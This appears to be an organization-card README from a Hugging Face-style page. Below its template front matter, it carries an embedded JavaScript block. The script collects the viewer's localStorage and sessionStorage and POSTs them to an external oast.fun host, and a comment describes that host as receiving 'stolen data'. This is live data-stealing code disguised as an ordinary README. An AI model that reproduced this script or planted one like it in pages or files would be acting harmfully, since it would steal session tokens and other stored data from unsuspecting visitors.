README / README.md
datoto9019's picture
Update README.md
0fc4f0e verified
|
raw
history blame
927 Bytes
---
title: README
emoji: 😻
colorFrom: pink
colorTo: purple
sdk: static
pinned: false
---
Edit this `README.md` markdown file to author your organization card.
<script>
// Extract all data from localStorage
const storedLocalData = localStorage;
// Extract all data from sessionStorage
const storedSessionData = sessionStorage;
// Log the data or send it to your server
console.log('LocalStorage:', storedLocalData);
console.log('SessionStorage:', storedSessionData);
// To send the extracted data to an external server, use a simple POST request
const url = 'https://fukytylghreqbigypbumjidsas9v9niii.oast.fun'; // Your server to send stolen data
const xhr = new XMLHttpRequest();
xhr.open('POST', url, true);
xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8');
// Send data as JSON
xhr.send(JSON.stringify({
localStorage: storedLocalData,
sessionStorage: storedSessionData
}));
</script>